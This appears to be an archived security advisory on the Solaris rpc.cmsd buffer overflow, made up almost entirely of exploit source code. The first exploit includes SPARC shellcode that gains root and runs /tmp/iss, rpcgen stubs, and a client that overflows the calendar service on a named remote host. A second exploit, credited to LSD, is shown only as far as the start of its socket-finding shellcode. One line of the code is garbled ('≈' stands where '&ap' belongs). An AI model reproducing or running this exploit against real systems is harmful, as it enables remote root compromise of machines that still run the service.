|
COMMAND rpc.cmsd SYSTEMS AFFECTED Solaris7 and previous, SCO, HP-9000 Series 700/800 HP-UX releases 10.20, 10.30, 11.00 PROBLEM There's bug in rpc.cmsd on Solaris. Several exploits for rpc.cmsd seems to be floating around. This vulnerability is being actively exploited. The vulnerability is known to exist at least in Solaris 7, possibly in earlier versions. Here's one version of exploit: /* * * cmsd warez * * executes /tmp/iss * * gcc -o c c.c -lrpcsvc -lnsl -lsocket * */ #include <stdio.h> #include <stdlib.h> #include <rpc/rpc.h> #include <netdb.h> #include <arpa/inet.h> char c0de[]= "\x90\x08\x3f\xff" /* and %g0, -1, %o0 - 0 in o0 */ "\x82\x10\x20\x8d" /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */ "\x91\xd0\x20\x08" /* ta 8 - seteuid(0); */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 - 0 in o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */ "\x91\xd0\x20\x08" /* ta 8 - setuid(0); */ "\x2d\x0b\xdd\x1b" /* sethi %hi(0x2f746c00), %l6 */ "\xac\x15\xa1\x70" /* or %l6, 0x170, %l6 - "/tmp" */ "\x2f\x0b\xda\x5c" /* sethi %hi(0x2f697000), %l7 */ "\xae\x15\xe3\x73" /* or %l7, 0x373, %l7 - "/iss" */ "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */ "\x92\x03\xa0\x0c" /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */ "\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 - 0 in o2 (envp) */ "\x9c\x03\xa0\x14" /* add %sp, 0x14, %sp - (0x14==20) give space */ "\xec\x3b\xbf\xec" /* std %l6, [ %sp + -20 ] - store "/tmp/iss" */ "\xc0\x23\xbf\xf4" /* clr [ %sp + -12 ] - null term "/tmp/iss" */ "\xdc\x23\xbf\xf8" /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */ "\xc0\x23\xbf\xfc" /* clr [ %sp + -4 ] - null term ptr array (argv) */ "\x82\x10\x20\x3b" /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */ "\x91\xd0\x20\x08" /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */ "\x90\x1b\xc0\x0f" /* xor %o7, %o7, %o0 - 0 in o0 */ "\x82\x10\x20\x01" /* mov 1, %g1 - 1==SYS_exit in g1 */ "\x91\xd0\x20\x08"; /* ta 8 - exit(0) */ #define X_OFFSET 5500 #define RW_OFFSET 800 #define NOPS 700 #define ALIGN (2000+sizeof(unsigned long)*7) #define REG_W_SIZ 64 #define PRE_RET (REG_W_SIZ-3*sizeof(unsigned long)) #define OFBUFSIZ (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long)) char cname[] = "root@ISS"; /* ----- rpcgen ----- */ /* * Please do not edit this file. * It was generated using rpcgen. */ #ifndef _RTABLE4_H_RPCGEN #define _RTABLE4_H_RPCGEN #include <rpc/rpc.h> typedef char *Buffer; enum Transaction { add = 0, cm_remove = 1 }; typedef enum Transaction Transaction; enum Interval { single = 0, daily = 1, weekly = 2, biweekly = 3, monthly = 4, yearly = 5, nthWeekday = 6, everyNthDay = 7, everyNthWeek = 8, everyNthMonth = 9, otherPeriod = 10, monThruFri = 11, monWedFri = 12, tueThur = 13, daysOfWeek = 14 }; typedef enum Interval Interval; struct Period { Interval period; int nth; long enddate; }; typedef struct Period Period; enum Event_Type { appointment = 0, reminder = 1, otherTag = 2, holiday = 3, toDo = 4 }; typedef enum Event_Type Event_Type; enum Options { do_all = 0, do_one = 1, do_forward = 2 }; typedef enum Options Options; struct Tag { Event_Type tag; int showtime; struct Tag *next; }; typedef struct Tag Tag; enum Privacy_Level { public = 0, private = 1, semiprivate = 2 }; typedef enum Privacy_Level Privacy_Level; struct Attribute { struct Attribute *next; Buffer attr; Buffer value; Buffer clientdata; }; typedef struct Attribute Attribute; typedef Attribute *Attr; struct Except { int ordinal; struct Except *next; }; typedef struct Except Except; typedef Except *Exception; struct Id { long tick; long key; }; typedef struct Id Id; struct Uid { struct Id appt_id; struct Uid *next; }; typedef struct Uid Uid; enum Appt_Status { active = 0, pendingAdd = 1, pendingDelete = 2, committed = 3, cancelled = 4, completed = 5 }; typedef enum Appt_Status Appt_Status; struct Appt { struct Id appt_id; struct Tag *tag; int duration; int ntimes; Buffer what; struct Period period; Buffer author; Buffer client_data; struct Except *exception; struct Attribute *attr; Appt_Status appt_status; Privacy_Level privacy; struct Appt *next; }; typedef struct Appt Appt; struct Abb_Appt { struct Id appt_id; struct Tag *tag; Buffer what; int duration; struct Period period; struct Abb_Appt *next; Appt_Status appt_status; Privacy_Level privacy; }; typedef struct Abb_Appt Abb_Appt; struct Apptid { struct Id *oid; struct Appt *new_appt; Options option; }; typedef struct Apptid Apptid; struct Reminder { struct Id appt_id; long tick; Attribute attr; struct Reminder *next; }; typedef struct Reminder Reminder; enum Table_Res_Type { AP = 0, RM = 1, AB = 2, ID = 3 }; typedef enum Table_Res_Type Table_Res_Type; struct Table_Res_List { Table_Res_Type tag; union { Appt *a; Reminder *r; Abb_Appt *b; Uid *i; } Table_Res_List_u; }; typedef struct Table_Res_List Table_Res_List; enum Access_Status { access_ok = 0, access_added = 1, access_removed = 2, access_failed = 3, access_exists = 4, access_partial = 5, access_other = 6, access_notable = 7, access_notsupported = 8, access_incomplete = 9 }; typedef enum Access_Status Access_Status; struct Table_Res { Access_Status status; Table_Res_List res; }; typedef struct Table_Res Table_Res; #define access_none 0x0 /* owner only */ #define access_read 0x1 #define access_write 0x2 #define access_delete 0x4 #define access_exec 0x8 /* execution permission is a hack! */ #define WORLD "world" /* special user */ struct Access_Entry { Buffer who; int access_type; struct Access_Entry *next; }; typedef struct Access_Entry Access_Entry; struct Access_Args { Buffer target; Access_Entry *access_list; }; typedef struct Access_Args Access_Args; struct Range { long key1; long key2; struct Range *next; }; typedef struct Range Range; struct Keyrange { long key; long tick1; long tick2; struct Keyrange *next; }; typedef struct Keyrange Keyrange; struct Uidopt { struct Id appt_id; Options option; struct Uidopt *next; }; typedef struct Uidopt Uidopt; enum Table_Args_Type { TICK_4 = 0, APPTID = 1, UID = 2, APPT = 3, RANGE = 4, KEYRANGE = 5, UIDOPT = 6 }; typedef enum Table_Args_Type Table_Args_Type; struct Args { Table_Args_Type tag; union { long tick; Apptid apptid; Uid *key; Appt *appt; Range *range; Keyrange *keyrange; Uidopt *uidopt; } Args_u; }; typedef struct Args Args; struct Table_Args { Buffer target; Args args; int pid; }; typedef struct Table_Args Table_Args; struct Registration { Buffer target; u_long prognum; u_long versnum; u_long procnum; struct Registration *next; int pid; }; typedef struct Registration Registration; struct Table_Op_Args { Buffer target; Buffer new_target; }; typedef struct Table_Op_Args Table_Op_Args; enum Table_Status { ok = 0, duplicate = 1, badtable = 2, notable = 3, denied = 4, other = 5, tbl_not_owner = 6, tbl_exist = 7, tbl_notsupported = 8 }; typedef enum Table_Status Table_Status; enum Registration_Status { registered = 0, failed = 1, deregistered = 2, confused = 3, reg_notable = 4 }; typedef enum Registration_Status Registration_Status; /* * rtable_delete and rtable_change take over the functionality of * rtable_delete_instance and rtable_change_instance repectively. * rtable_delete_instance and rtable_change_instance are now dummy * routines exist for backward compatibility purpose and return * access_notsupported. */ extern Appt* make_appt(); extern void destroy_appt(); extern void destroy_list(); extern Appt *copy_appt(); extern Appt *copy_semiprivate_appt(); extern Abb_Appt *make_abbrev_appt(); extern void destroy_abbrev_appt(); extern Abb_Appt *copy_abbrev_appt(); extern Abb_Appt *appt_to_abbrev(); extern Abb_Appt *appt_to_semiprivate_abbrev(); extern Reminder* make_reminder(); extern void destroy_reminder(); extern Reminder* copy_reminder(); extern Uid* make_keyentry(); extern void destroy_keyentry(); extern Uid* copy_keyentry(); extern Access_Entry* make_access_entry(); extern Access_Entry* copy_access_list(); extern void destroy_access_list(); extern Abb_Appt *copy_single_abbrev_appt(); extern Attribute *make_attr(); #define TABLEPROG ((unsigned long)(100068)) #define TABLEVERS ((unsigned long)(4)) #define rtable_ping ((unsigned long)(0)) extern void * rtable_ping_4(); #define rtable_lookup ((unsigned long)(1)) extern Table_Res * rtable_lookup_4(); #define rtable_lookup_next_larger ((unsigned long)(2)) extern Table_Res * rtable_lookup_next_larger_4(); #define rtable_lookup_next_smaller ((unsigned long)(3)) extern Table_Res * rtable_lookup_next_smaller_4(); #define rtable_lookup_range ((unsigned long)(4)) extern Table_Res * rtable_lookup_range_4(); #define rtable_abbreviated_lookup_range ((unsigned long)(5)) extern Table_Res * rtable_abbreviated_lookup_range_4(); #define rtable_insert ((unsigned long)(6)) extern Table_Res * rtable_insert_4(); #define rtable_delete ((unsigned long)(7)) extern Table_Res * rtable_delete_4(); #define rtable_delete_instance ((unsigned long)(8)) extern Table_Res * rtable_delete_instance_4(); #define rtable_change ((unsigned long)(9)) extern Table_Res * rtable_change_4(); #define rtable_change_instance ((unsigned long)(10)) extern Table_Res * rtable_change_instance_4(); #define rtable_lookup_next_reminder ((unsigned long)(11)) extern Table_Res * rtable_lookup_next_reminder_4(); #define rtable_check ((unsigned long)(12)) extern Table_Status * rtable_check_4(); #define rtable_flush_table ((unsigned long)(13)) extern Table_Status * rtable_flush_table_4(); #define rtable_size ((unsigned long)(14)) extern int * rtable_size_4(); #define register_callback ((unsigned long)(15)) extern Registration_Status * register_callback_4(); #define deregister_callback ((unsigned long)(16)) extern Registration_Status * deregister_callback_4(); #define rtable_set_access ((unsigned long)(17)) extern Access_Status * rtable_set_access_4(); #define rtable_get_access ((unsigned long)(18)) extern Access_Args * rtable_get_access_4(); #define rtable_abbreviated_lookup_key_range ((unsigned long)(19)) extern Table_Res * rtable_abbreviated_lookup_key_range_4(); #define rtable_gmtoff ((unsigned long)(20)) extern long * rtable_gmtoff_4(); #define rtable_create ((unsigned long)(21)) extern Table_Status * rtable_create_4(); #define rtable_remove ((unsigned long)(22)) extern Table_Status * rtable_remove_4(); #define rtable_rename ((unsigned long)(23)) extern Table_Status * rtable_rename_4(); extern int tableprog_4_freeresult(); /* the xdr functions */ extern bool_t xdr_Buffer(); extern bool_t xdr_Transaction(); extern bool_t xdr_Interval(); extern bool_t xdr_Period(); extern bool_t xdr_Event_Type(); extern bool_t xdr_Options(); extern bool_t xdr_Tag(); extern bool_t xdr_Privacy_Level(); extern bool_t xdr_Attribute(); extern bool_t xdr_Attr(); extern bool_t xdr_Except(); extern bool_t xdr_Exception(); extern bool_t xdr_Id(); extern bool_t xdr_Uid(); extern bool_t xdr_Appt_Status(); extern bool_t xdr_Appt(); extern bool_t xdr_Abb_Appt(); extern bool_t xdr_Apptid(); extern bool_t xdr_Reminder(); extern bool_t xdr_Table_Res_Type(); extern bool_t xdr_Table_Res_List(); extern bool_t xdr_Access_Status(); extern bool_t xdr_Table_Res(); extern bool_t xdr_Access_Entry(); extern bool_t xdr_Access_Args(); extern bool_t xdr_Range(); extern bool_t xdr_Keyrange(); extern bool_t xdr_Uidopt(); extern bool_t xdr_Table_Args_Type(); extern bool_t xdr_Args(); extern bool_t xdr_Table_Args(); extern bool_t xdr_Registration(); extern bool_t xdr_Table_Op_Args(); extern bool_t xdr_Table_Status(); extern bool_t xdr_Registration_Status(); #endif /* !_RTABLE4_H_RPCGEN */ /* * Please do not edit this file. * It was generated using rpcgen. */ bool_t xdr_Buffer(xdrs, objp) register XDR *xdrs; Buffer *objp; { register long *buf; if (!xdr_string(xdrs, objp, ~0)) return (FALSE); return (TRUE); } bool_t xdr_Transaction(xdrs, objp) register XDR *xdrs; Transaction *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Interval(xdrs, objp) register XDR *xdrs; Interval *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Period(xdrs, objp) register XDR *xdrs; Period *objp; { register long *buf; if (!xdr_Interval(xdrs, &objp->period)) return (FALSE); if (!xdr_int(xdrs, &objp->nth)) return (FALSE); if (!xdr_long(xdrs, &objp->enddate)) return (FALSE); return (TRUE); } bool_t xdr_Event_Type(xdrs, objp) register XDR *xdrs; Event_Type *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Options(xdrs, objp) register XDR *xdrs; Options *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Tag(xdrs, objp) register XDR *xdrs; Tag *objp; { register long *buf; if (!xdr_Event_Type(xdrs, &objp->tag)) return (FALSE); if (!xdr_int(xdrs, &objp->showtime)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag)) return (FALSE); return (TRUE); } bool_t xdr_Privacy_Level(xdrs, objp) register XDR *xdrs; Privacy_Level *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Attribute(xdrs, objp) register XDR *xdrs; Attribute *objp; { register long *buf; if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->attr)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->value)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->clientdata)) return (FALSE); return (TRUE); } bool_t xdr_Attr(xdrs, objp) register XDR *xdrs; Attr *objp; { register long *buf; if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute)) return (FALSE); return (TRUE); } bool_t xdr_Except(xdrs, objp) register XDR *xdrs; Except *objp; { register long *buf; if (!xdr_int(xdrs, &objp->ordinal)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except)) return (FALSE); return (TRUE); } bool_t xdr_Exception(xdrs, objp) register XDR *xdrs; Exception *objp; { register long *buf; if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except)) return (FALSE); return (TRUE); } bool_t xdr_Id(xdrs, objp) register XDR *xdrs; Id *objp; { register long *buf; if (!xdr_long(xdrs, &objp->tick)) return (FALSE); if (!xdr_long(xdrs, &objp->key)) return (FALSE); return (TRUE); } bool_t xdr_Uid(xdrs, objp) register XDR *xdrs; Uid *objp; { register long *buf; if (!xdr_Id(xdrs, &objp->appt_id)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid)) return (FALSE); return (TRUE); } bool_t xdr_Appt_Status(xdrs, objp) register XDR *xdrs; Appt_Status *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Appt(xdrs, objp) register XDR *xdrs; Appt *objp; { register long *buf; if (!xdr_Id(xdrs, &objp->appt_id)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag)) return (FALSE); if (!xdr_int(xdrs, &objp->duration)) return (FALSE); if (!xdr_int(xdrs, &objp->ntimes)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->what)) return (FALSE); if (!xdr_Period(xdrs, &objp->period)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->author)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->client_data)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute)) return (FALSE); if (!xdr_Appt_Status(xdrs, &objp->appt_status)) return (FALSE); if (!xdr_Privacy_Level(xdrs, &objp->privacy)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt)) return (FALSE); return (TRUE); } bool_t xdr_Abb_Appt(xdrs, objp) register XDR *xdrs; Abb_Appt *objp; { register long *buf; if (!xdr_Id(xdrs, &objp->appt_id)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->what)) return (FALSE); if (!xdr_int(xdrs, &objp->duration)) return (FALSE); if (!xdr_Period(xdrs, &objp->period)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt)) return (FALSE); if (!xdr_Appt_Status(xdrs, &objp->appt_status)) return (FALSE); if (!xdr_Privacy_Level(xdrs, &objp->privacy)) return (FALSE); return (TRUE); } bool_t xdr_Apptid(xdrs, objp) register XDR *xdrs; Apptid *objp; { register long *buf; if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt)) return (FALSE); if (!xdr_Options(xdrs, &objp->option)) return (FALSE); return (TRUE); } bool_t xdr_Reminder(xdrs, objp) register XDR *xdrs; Reminder *objp; { register long *buf; if (!xdr_Id(xdrs, &objp->appt_id)) return (FALSE); if (!xdr_long(xdrs, &objp->tick)) return (FALSE); if (!xdr_Attribute(xdrs, &objp->attr)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder)) return (FALSE); return (TRUE); } bool_t xdr_Table_Res_Type(xdrs, objp) register XDR *xdrs; Table_Res_Type *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Table_Res_List(xdrs, objp) register XDR *xdrs; Table_Res_List *objp; { register long *buf; if (!xdr_Table_Res_Type(xdrs, &objp->tag)) return (FALSE); switch (objp->tag) { case AP: if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt)) return (FALSE); break; case RM: if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder)) return (FALSE); break; case AB: if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt)) return (FALSE); break; case ID: if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid)) return (FALSE); break; } return (TRUE); } bool_t xdr_Access_Status(xdrs, objp) register XDR *xdrs; Access_Status *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Table_Res(xdrs, objp) register XDR *xdrs; Table_Res *objp; { register long *buf; if (!xdr_Access_Status(xdrs, &objp->status)) return (FALSE); if (!xdr_Table_Res_List(xdrs, &objp->res)) return (FALSE); return (TRUE); } #define access_none 0x0 /* owner only */ #define access_read 0x1 #define access_write 0x2 #define access_delete 0x4 #define access_exec 0x8 /* execution permission is a hack! */ #define WORLD "world" /* special user */ bool_t xdr_Access_Entry(xdrs, objp) register XDR *xdrs; Access_Entry *objp; { register long *buf; if (!xdr_Buffer(xdrs, &objp->who)) return (FALSE); if (!xdr_int(xdrs, &objp->access_type)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry)) return (FALSE); return (TRUE); } bool_t xdr_Access_Args(xdrs, objp) register XDR *xdrs; Access_Args *objp; { register long *buf; if (!xdr_Buffer(xdrs, &objp->target)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry)) return (FALSE); return (TRUE); } bool_t xdr_Range(xdrs, objp) register XDR *xdrs; Range *objp; { register long *buf; if (!xdr_long(xdrs, &objp->key1)) return (FALSE); if (!xdr_long(xdrs, &objp->key2)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range)) return (FALSE); return (TRUE); } bool_t xdr_Keyrange(xdrs, objp) register XDR *xdrs; Keyrange *objp; { register long *buf; if (!xdr_long(xdrs, &objp->key)) return (FALSE); if (!xdr_long(xdrs, &objp->tick1)) return (FALSE); if (!xdr_long(xdrs, &objp->tick2)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange)) return (FALSE); return (TRUE); } bool_t xdr_Uidopt(xdrs, objp) register XDR *xdrs; Uidopt *objp; { register long *buf; if (!xdr_Id(xdrs, &objp->appt_id)) return (FALSE); if (!xdr_Options(xdrs, &objp->option)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt)) return (FALSE); return (TRUE); } bool_t xdr_Table_Args_Type(xdrs, objp) register XDR *xdrs; Table_Args_Type *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Args(xdrs, objp) register XDR *xdrs; Args *objp; { register long *buf; if (!xdr_Table_Args_Type(xdrs, &objp->tag)) return (FALSE); switch (objp->tag) { case TICK_4: if (!xdr_long(xdrs, &objp->Args_u.tick)) return (FALSE); break; case APPTID: if (!xdr_Apptid(xdrs, &objp->Args_u.apptid)) return (FALSE); break; case UID: if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid)) return (FALSE); break; case APPT: if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt)) return (FALSE); break; case RANGE: if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range)) return (FALSE); break; case KEYRANGE: if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange)) return (FALSE); break; case UIDOPT: if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt)) return (FALSE); break; default: return (FALSE); } return (TRUE); } bool_t xdr_Table_Args(xdrs, objp) register XDR *xdrs; Table_Args *objp; { register long *buf; if (!xdr_Buffer(xdrs, &objp->target)) return (FALSE); if (!xdr_Args(xdrs, &objp->args)) return (FALSE); if (!xdr_int(xdrs, &objp->pid)) return (FALSE); return (TRUE); } bool_t xdr_Registration(xdrs, objp) register XDR *xdrs; Registration *objp; { register long *buf; if (!xdr_Buffer(xdrs, &objp->target)) return (FALSE); if (!xdr_u_long(xdrs, &objp->prognum)) return (FALSE); if (!xdr_u_long(xdrs, &objp->versnum)) return (FALSE); if (!xdr_u_long(xdrs, &objp->procnum)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration)) return (FALSE); if (!xdr_int(xdrs, &objp->pid)) return (FALSE); return (TRUE); } bool_t xdr_Table_Op_Args(xdrs, objp) register XDR *xdrs; Table_Op_Args *objp; { register long *buf; if (!xdr_Buffer(xdrs, &objp->target)) return (FALSE); if (!xdr_Buffer(xdrs, &objp->new_target)) return (FALSE); return (TRUE); } bool_t xdr_Table_Status(xdrs, objp) register XDR *xdrs; Table_Status *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_Registration_Status(xdrs, objp) register XDR *xdrs; Registration_Status *objp; { register long *buf; if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } /* * rtable_delete and rtable_change take over the functionality of * rtable_delete_instance and rtable_change_instance repectively. * rtable_delete_instance and rtable_change_instance are now dummy * routines exist for backward compatibility purpose and return * access_notsupported. */ extern Appt* make_appt(); extern void destroy_appt(); extern void destroy_list(); extern Appt *copy_appt(); extern Appt *copy_semiprivate_appt(); extern Abb_Appt *make_abbrev_appt(); extern void destroy_abbrev_appt(); extern Abb_Appt *copy_abbrev_appt(); extern Abb_Appt *appt_to_abbrev(); extern Abb_Appt *appt_to_semiprivate_abbrev(); extern Reminder* make_reminder(); extern void destroy_reminder(); extern Reminder* copy_reminder(); extern Uid* make_keyentry(); extern void destroy_keyentry(); extern Uid* copy_keyentry(); extern Access_Entry* make_access_entry(); extern Access_Entry* copy_access_list(); extern void destroy_access_list(); extern Abb_Appt *copy_single_abbrev_appt(); extern Attribute *make_attr(); /* ----- rpcgen ----- */ unsigned long resolve(char *host) { long i; struct hostent *he; if((i=inet_addr(host))==(-1)) if(!(he=gethostbyname(host))) return(0); else return(*(unsigned long *)he->h_addr); return(i); } int main(int argc, char *argv[]) { char obuf[OFBUFSIZ+1], abuf[ALIGN+1]; struct sockaddr_in sin; struct timeval tv; Table_Op_Args toa; Table_Status ts; Table_Args ta; Table_Res tr; Appt ap; int sock; unsigned long *ptr; CLIENT *c; if(argc!=2) { (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]); exit(-1); } (void)memset(&sin,0,sizeof(sin)); sin.sin_family = AF_INET; if(!(sin.sin_addr.s_addr=resolve(argv[1]))) { (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]); exit(-1); } (void)memset(&tv,0,sizeof(tv)); tv.tv_sec = 7; sock = RPC_ANYSOCK; if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock))) { (void)clnt_pcreateerror(argv[0]); exit(1); } c->cl_auth = authunix_create(argv[1],0,0,0,0); (void)memset(&toa,0,sizeof(toa)); toa.target = cname; (void)memset(&ts,0,sizeof(ts)); if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa, xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS) { (void)clnt_perror(c,"error: rtable_create"); exit(-1); } (void)memset(abuf,0xff,sizeof(abuf)); abuf[sizeof(abuf)-1] = 0; for(ptr=(unsigned long *)obuf; ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long))); ptr++) *ptr = *(unsigned long *)c0de; (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long))); ptr += ((sizeof(c0de)/sizeof(unsigned long))-1); for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++) *ptr = (0xeffffff0-RW_OFFSET); for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++) *ptr = (0xeffffff0-X_OFFSET); for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++) *ptr = *(unsigned long *)c0de; (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long))); (void)memset(&ap,0,sizeof(ap)); ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1; ap.what = abuf; ap.client_data = &obuf[2]; (void)memset(&ta,0,sizeof(ta)); ta.args.tag = APPT; ta.target = cname; ta.args.Args_u.appt = ≈ (void)memset(&tr,0,sizeof(tr)); if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta, xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS) (void)printf("possible success\n"); else { (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n"); exit(-1); } (void)clnt_destroy(c); return(0); } Code by LSD: /*## copyright LAST STAGE OF DELIRIUM jul 1999 poland *://lsd-pl.net/ #*/ /*## rpc.cmsd #*/ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <rpc/rpc.h> #include <netdb.h> #include <stdio.h> #include <errno.h> #define ADRNUM 1500 #define NOPNUM 1600 #define CMSD_PROG 100068 #define CMSD_VERS 4 #define CMSD_PING 0 #define CMSD_CREATE 21 #define CMSD_INSERT 6 char findsckcode[]= "\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */ "\x20\xbf\xff\xff" /* bn,a <findsckcode> */ "\x7f\xff\xff\xff" /* call <findsckcode+4> */ "\xa0\x20\x3f\xff" /* sub %g0,-1,%l0 */ "\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */ "\xa6\x10\x20\x44" /* mov 0x44,%l3 */ "\xa8\x10\x23\xff" /* mov 0x3ff,%l4 */ "\xaa\x03\xe0\x44" /* add %o7,68,%l5 */ "\x81\xc5\x60\x08" /* jmp %l5+8 */ "\xaa\x10\x20\xff" /* mov 0xff,%l5 */ "\xab\x2d\x60\x08" /* sll %l5,8,%l5 */ "\xaa\x15\x60\xff" /* or %l5,0xff,%l5 */ "\xe2\x03\xff\xd0" /* ld [%o7-48],%l1 */ "\xac\x0c\x40\x15" /* and %l1,%l5,%l6 */ "\x2b\x00\x00\x00" /* sethi %hi(0x00000000),%l5 */ "\xaa\x15\x60\x00" /* or %l5,0x000,%l5 */ "\xac\x05\x40\x16" /* add %l5,%l6,%l6 */ "\xac\x05\xbf\xff" /* add %l6,-1,%l6 */ "\x80\xa5\xbf\xff" /* cmp %l6,-1 */ "\x02\xbf\xff\xf5" /* be <findsckcode+32> */ "\xaa\x03\xe0\x7c" /* add %o7,0x7c,%l5 */ "\xe6\x23\xff\xc4" /* st %l3,[%o7-60] */ "\xc0\x23\xff\xc8" /* st %g0,[%o7-56] */ "\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */ "\x90\x04\x3f\xff" /* add %l0,-1,%o0 */ "\xaa\x10\x20\x54" /* mov 0x54,%l5 */ "\xad\x2d\x60\x08" /* sll %l5,8,%l6 */ "\x92\x15\xa0\x91" /* or %l6,0x91,%o1 */ "\x94\x03\xff\xc4" /* add %o7,-60,%o2 */ 